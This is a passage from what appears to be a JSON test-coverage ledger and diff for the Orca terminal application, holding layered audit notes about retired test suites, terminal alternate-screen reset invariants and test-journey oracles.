registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Partial mobile-presence suite retains only five authored callbacks: admitted preview-paste completion across phone takeover, desktop take-back superseding mobile input, desktop viewport write/restore geometry, and held-fit reclaim convergence. Other supplied floor/rollback/selection/viewport/grace/disconnect/reconnect/orphan-state alarms are lost. No per-source assertion object exists to reassign. The one affected dated mobile-view-authority receipt is retired whole into historical notes with its full original/currentCommand/raw data preserved; it is not active corroboration for reduced candidate bytes. Imported mobile-subscribe registrations and retained callbacks remain bounded to their actual source obligations, without equivalent replacement or physical-phone/native-PTY claims. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1709 removes low-value test definitions and retires affected assertion or execution-receipt claims without equivalent replacement coverage. Per-source reviews bound retained behavior and injected/native/remote limits. Unchanged assertions and receipts keep their original scope; gates lacking current active evidence are downgraded. Historical scope before this audit: Audit1683 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1627 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1623 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Audit1417 intentionally deletes src/renderer/src/components/terminal-pane/pty-connection-hidden-tui-snapshot-replay.spec.ts: Loses rich hidden snapshot sequence replay/grid resize and forced repaint after hidden snapshot alarms, including live-trigger deduplication. No equivalent replacement coverage or fresh result is claimed. Historical coverage account: Audit1320 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Deterministic host/parser, process-classifier, snapshot-publication, mixed-version, renderer, and macOS Electron coverage proves the local and shared paired-runtime contracts. Direct SSH intentionally publishes no shell proof and immediately preserves incumbent behavior. WSL, Windows ConPTY, Linux desktop, and paired headed/headless journeys remain gaps. The audit removed the isolated terminal-multiplex pending-escape-tail forwarding test. Its direct RPC snapshot field-copy alarm is lost; retained parser, snapshot and lifecycle suites do not establish equivalent RPC field coverage. Audit1320: src/renderer/src/components/terminal-pane/remote-runtime-pty-snapshot-escape-tail.test.ts removed. Snapshot pending escape/alternate-screen/shell metadata forwarding and negative app-store-read alarm disappears. No equivalent replacement coverage is claimed. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1391: src/renderer/src/components/terminal-pane/pty-connection-remote-pause-drop-notice.spec.ts reduced. Lose repeated quiet switches avoiding snapshots and legacy host without drop-report capability requesting a snapshot. Retained imported registrar uses fake transport/xterm writes, exercising real gap/restore lifecycle rather than actual terminal rendering. No equivalent replacement coverage is claimed. The existing primary-selector receipt and its claims remain scoped to their unchanged sources; the broad optional command has no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1402: src/renderer/src/components/terminal-pane/pty-connection-park-reveal-model-snapshot.spec.ts reduced. Loses basic paired serialize/initial replay forwarding check; hidden alt-frame grid/precedence policy remains. No real terminal renderer claim. No equivalent replacement coverage is claimed. The existing primary-selector receipt and its claims remain scoped to their unchanged sources; the broad optional command has no new execution result. Audit1412: src/main/daemon/terminal-host-concurrent-create.test.ts reduced. Loses race deduplication, attach during unsettled ownership proof, retry after failed spawn, distinct-session parallelism, disposal waiting and shutdown retry-fencing alarms bundled with removed internal-call counts or real-time waits. No replacement-equivalence claim. src/main/daemon/terminal-checkpoint-serializer.test.ts reduced. Loses bounded native conversion/no-whole-candidate materialization and snapshot getter single-read alarms. Retained byte-size outcomes do not establish CPU/allocation bounds. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Prospective settings-host12 runtime-ipc110 reduction: The runtime compatibility driver is intentionally narrowed by runtime-ipc110 whole-registration policy: four imported TEST fragments are retired and reviewed partial fragments lose complete callbacks. Full path/title/hash and lost-alarm records are bound in the local runtime-ipc110 recipe. This is an import-closure disclosure; command filters may select only part of that driver. All remaining selectors keep only their own bounded scope. Preserve every earlier narrative, historical assertion receipt and dated evidenceRun exactly. Historical runs do not validate the reduced registration set; no fresh test, timing, runtime or whole-gate pass is claimed.", "motivatingLinks": ["https://github.com/stablyai/orca/pull/16379"], "invariant": "After a TUI exits or is killed, reveal, reattach, snapshot replay, or renderer remount must not deliver terminal-owned mouse or alternate-screen protocol bytes to the surviving shell. Recovery is an ordered output barrier in the daemon session data path: an OSC 133;D completing while the alternate screen is still active pauses the stream at that exact byte boundary, a fresh execution-host process inspection proves shell ownership, and on proof a mode reset is injected as in-stream output so every consumer converges by parsing the same bytes and the queued post-boundary shell output (the prompt) lands on the normal buffer. Snapshots are pure reads. Any failure — refuted proof, timeout, queue overflow, session death, disposal — flushes the queue unmodified, preserving incumbent behavior; later command or mode bytes revoke proof. Clean alternate-screen exits prove ownership asynchronously without pausing.", "oracle": "Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3832 deliberately retires76 authored/79 finite cases:75 runtime compatibility cases/78 finite cases across14 fragments, plus one localization extractor default-flag case. Three whole runtime fragments are deleted;27 authored/30 finite cases remain across the reviewed sources. This gate retains only its own selected scope; no equivalent replacement or fresh runtime/native/remote evidence is claimed. Runtime component A: Audit3828 composes3822 with independent3824: deliberately retires49 authored/52 finite cases from seven compatibility fragments, leaving15 authored/18 finite cases and deleting two entire fragments. Accepted losses: positive folder-worker recovery/materialization and reveal deadline; persisted-key normalization and legacy split/group/focus projection; fixed stale CAS refusal; occupied/alias/restored/preallocated terminal-handle variants; fixed OpenCode/Cursor/Claude/Codex/Antigravity classification, readiness, title and management examples; direct private-map browser authority projections; browser-focus and OMP title projection; already-aborted claim cleanup. Additional3824 loss: src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-02.spec.ts :: does not poll a wrapper foreground for a speculative CLI prompt send :: Speculative retryForegroundWrappers:false check must return false on a wrapper after one foreground read, without polling the supplied later codex response. These real bounded alarms are deliberately retired for low marginal value. Retained callbacks are unchanged and provide only their own bounded scope, not equivalent replacement. Historical receipts do not validate reduced callbacks. No fresh runtime/native/SSH/WSL/phone/browser evidence or full transitive closure is claimed. Runtime component B: Audit3834 deliberately retires26 authored/26 finite cases from seven fresh compatibility fragments, leaving10/10 and deleting the one-case saved-binding reattachment fragment. Original position58 is excluded: its existing substantive3578 KEEP7 review remains historical, with no fresh credit. Accepted losses: fixed hook/provider-session identities and stale metadata refusal; decorative/pre-title foreground ordering variants; saved-binding surface reattachment; saved-row exit ghost removal and silent activation selection; unsupported headless wake; positive pending materialization/group projections; per-caller navigation selection; positive SSH hydration/read partition; laptop mobile publication/buffer and background/pending/status projections; abnormal/unregistered SSH grace, normal-exit refusal, persisted SSH hydration, positive serve reattachment, pending-agent launch arguments and direct seeded running-launch admission guard. These are real bounded alarms deliberately retired for low marginal value. Retained cases preserve their own distinct deferred foreground coalescing, usable handle continuity, stale inventory refresh, concurrent browser snapshot preservation, renderer graph fencing, caller dedup isolation, SSH partition writes, runtime split lifetime, independent relay-ready publication, lease admission/state/expiry. The direct running-launch no-spawn guard alarm is deliberately retired; no remaining owning-launch refusal coverage is claimed. Historical runs do not validate reduced callbacks. No equivalent replacement, runtime/native/SSH/WSL/phone/browser result or full transitive closure is claimed. Additional extractor loss: config/scripts/localization/source-extraction/audit-localization-native-dialogs.test.mjs :: does not change the existing renderer scan by default :: Default options must omit the five native-only fields in this supplied snippet. No equivalent replacement is claimed. Historical prior account (preserved verbatim): Audit3814 deliberately retires60 authored/60 finite cases:53runtime compatibility cases,4native XCTest methods and3Python clipboard methods, including the entire StableElementIndexes suite. Clipboard cuts retire the one-over-cap sample, incoming-offer destruction trace and sequential20-copy replay; actual wire, FD/pipe, startup and Xvfb/GTK boundaries remain without equivalent replacement claims. Accepted losses include narrow terminal-send payload/provider projections, legacy and direct no-op/error permutations, timing/work-count examples, private state/title/activity projections and fixture-driven readiness examples, individually enumerated below. These include real bounded production alarms consciously retired for marginal value; retained failed writes, duplicate submission, stale capture, transcript/ring and allocation fences are not equivalent replacements. No fresh native/remote/browser execution or complete transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3806 deliberately retires40 authored/40 finite runtime compatibility cases, including the terminal-side-effect-facts-part03 headless-snapshots-part02 and agent-status-and-waits-part03 fragments, plus20 scalar Swift precondition sites. Lost runtime alarms include status/title/attention projection examples, simple renderer/headless frame restoration and status waiting outcomes detailed in the accepted-loss ledger. Swift cuts retire duplicate generation-map/schema/navigation/bridge and notification-wrapper assertions; no standalone native program is deleted. These include real bounded production alarms consciously retired for marginal value. Retained races, pending writes/reflow, namespace and waiter ownership are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3798 deliberately retires21 authored/24 finite compatibility cases, including the entire SSH-worktree-lifecycle and repository-project-operations fragments. Accepted losses include navigation-only settings acknowledgement, browser session cleanup and host preservation projections, window positive/policy-state examples, terminal recovery/reload and no-incarnation remint examples, terminal listing compatibility/malformed IDs, directory browse/sort/Windows path smoke, SSH create refusal/manual lineage, recursive parent-folder creation and fork/origin/avatar/icon projections. Real bounded production alarms are consciously retired for marginal value; retained authority races, cleanup/clone ownership, pending waiters, nested-folder and scan invalidation cases are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Partial mobile-presence suite retains only five authored callbacks: admitted preview-paste completion across phone takeover, desktop take-back superseding mobile input, desktop viewport write/restore geometry, and held-fit reclaim convergence. Other supplied floor/rollback/selection/viewport/grace/disconnect/reconnect/orphan-state alarms are lost. No per-source assertion object exists to reassign. The one affected dated mobile-view-authority receipt is retired whole into historical notes with its full original/currentCommand/raw data preserved; it is not active corroboration for reduced candidate bytes. Imported mobile-subscribe registrations and retained callbacks remain bounded to their actual source obligations, without equivalent replacement or physical-phone/native-PTY claims. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1709 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Audit1683 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Historical pre-audit oracle account for changed sources: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Run one fixed child-TUI journey for normal exit and cleanup-free SIGKILL. Assert renderer and host normal-buffer/non-mouse state, host snapshot terminalOwner metadata, exact PTY writes with no post-exit mouse report, unrelated-pane survival, post-boundary prompt output preserved (normal exit), ordered proof invalidation, bounded settlement and bail-out flush, one inspection per unclean episode with zero scans for ordinary output, split-escape safety at every chunk boundary, and old/new client-host fallback parity.", @@ -5916,7 +5916,7 @@ "providers": ["local", "daemon", "ssh", "runtime"], "coveredPlatforms": ["macos"], "coveredProviders": ["local", "daemon", "ssh", "runtime"], - "coverageNotes": "Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit5631 accompanies Audit5617 whole-suite deletion of src/renderer/src/store/terminals/layout/terminal-pane-detach-agent-identity.test.ts. Accepted loss: Detached leaf foreground/status/launch/resume identity map transfer and sibling preservation. No equivalent replacement or fresh reduced-command validation is claimed. Retained partial protection applies only to independent historical receipt scopes and does not protect these retired alarms. Historical prior account follows: Audit5611 retires complete low-value suites src/renderer/src/store/slices/agent-status/agent-pane-authority.test.ts. Intentionally lose pane restoration, closed-tab refusal and round-trip status alarms. Reduced commands have no fresh gate evidence or equivalent replacement claim. Historical prior account follows: Audit5583 removes the entire src/renderer/src/store/terminals/retirement/terminal-tab-retirement-store.test.ts suite and its active selectors. Intentionally lose mocked terminal tab retirement choreography alarms without equivalent replacement or fresh gate evidence. Historical prior account follows: Audit4368 intentionally drops seven mocked teardown cases: duplicate single-chat rollback, forced stuck-close warning/retirement, post-close-throw exit acceptance, mixed live/unconfirmed wording, exact serial-close budget work, missing runtime selector success and runtime-sweep rejection. Four structured-session and three PTY teardown cases remain; no replacement or fresh native/process/remote proof is claimed. Historical assertion anchors and receipts are not refreshed by this source-only reduction. Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit4351 removes the physical-exit timeout/retry and kill-failure/retry local-PTY shutdown cases. The retained shutdown case proves pending ownership until the injected node-pty exit callback only. These two narrow error-path alarms are intentionally lost; retained commands still select the reduced suite. No equivalent replacement or fresh runtime execution is claimed. Earlier notes and dated receipts retain their original scopes. Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. Audit 3959 retires the whole session.test.ts driver (27 authored / 33 finite cases): startup/echo filtering, readiness input gates, ownership confirmation, detach authority, and termination retry/exit ordering alarms are intentionally lost. No equivalent replacement or fresh runtime validation is claimed. Audit3437 composes ROOT-adopted3431/independent3432: intentionally removes127 authored/174 potential expanded cases across12 sources, deleting7 whole suites and one267line unused helper without test credit. Retain8 authored/13 potential cases. No equivalent replacement or fresh execution is claimed. Lose the complete completed-worker-retirement-resume suite: exact terminal-close resume-record revocation, PTY-exit recovery retention and settled-worker release examples. Remove its exact command token or standalone command, testFiles entry and assertionRef, archiving complete prior fields. Independent receipts retain original scopes. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3323 (reconciled source audit3320) intentionally retires seven low-value renderer authority/retirement examples: retires one pane, clears resume authority, and rejects late status without harming siblings — Late status reviving a retired pane, sibling damage, or resume authority left behind.; can retire live pane authority while retaining its sleeping session — Retiring live authority accidentally dropping a retained sleeping session.; keeps a physical pane routed through chained detaches until its current owner closes — Chained detach alias routing broken after original owner closes, or alias survives final close.; forgets routing aliases for purged tabs — Purged-tab routing aliases lingering.; retires split, relay, deferred, and pending sessions for a parked tab — Split, relay, deferred or pending session omitted from teardown, sleeping-record sibling damaged, parked disposer skipped.; retires parked ownership before teardown and sweeps published state before unified close — Parked cleanup/provider teardown/state removal/sweep/unified-close ordering changes.; starts mixed provider teardown and classifies both rejection kinds after synchronous retirement — Mixed teardown failures blocking retirement, or local/runtime warning counts misclassified.. Remove the exact-pane-retirement and chained-detach assertion references because their source cases are gone. Other retained cases do not replace these alarms. Preserve all dated evidenceRuns and prior history with their original source scope; no fresh execution or historical import-closure equivalence is claimed. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit1904 reduces persistence-pty-binding-reconciliation from six to four definitions, intentionally losing legacy remap-load and first-binding projection alarms. Current selector/testFile remains valid, with no selected-source assertionRef or active matching receipt. The six unchanged close/continuity receipts keep their exact original scope; no new broad gate or replacement evidence is claimed. Historical prior account (preserved verbatim): Audit1683 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1674 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1630 removes low-value Git, GitHub/GitLab and IPC projections, argument inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained cancellation, ownership, authorization, filesystem and SQLite boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1627 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Live macOS Electron tests prove exact local PTY disappearance after parked-tab close and detached-pgid descendant death after agent close. A deterministic final-pane interleaving now proves durable tab retirement commits before externally owned PTY teardown can publish graph loss, and preserves an unrelated live canary through duplicate exit retirement. Deterministic tests also cover final-pane CLI close durability and same-incarnation handle continuity; persisted-empty restart suppression remains historical Electron evidence, alongside replacement and hard graph-loss stale fencing, preallocated-handle supersession, daemon and SSH routing, local/daemon pending-snapshot ownership across natural exit, stale-root descendant-signal suppression, graceful-to-immediate kill upgrades, duplicate-kill completion sharing, locale-stable bounded/fresh/coalesced process-table reads, deadline-safe successor scans, cycle-safe linear descendant traversal, target-only escalation indexing, 32-wide bulk teardown, source-scan timestamp identity, same-second PID ambiguity, ordinary runtime close ownership, unified-only hydration, split ownership, pane detach transfer, restart alias hydration, and late-hook suppression; live Linux, Windows, WSL, SSH, and remote-runtime process evidence remains pending. A paired macOS Electron journey (real attached-window desktop host plus a separate real paired desktop client, isolated profiles) covers the inverse authority direction for host-created terminals: a renderer graph sync must not retire a tab that `orca terminal create` made. The retained paired journey covers the incident shape the real CLI produces - a repo's FIRST host-created terminal, since src/cli/handlers/terminal.ts sends no clientMutationId. The repeated target-after-unrelated-terminal journey was retired; its separate ordering alarm is no longer provided. An earlier reading of this gate called a preceding host-created terminal and a `clientMutationId` protective; main-process instrumentation refuted that. The renderer's 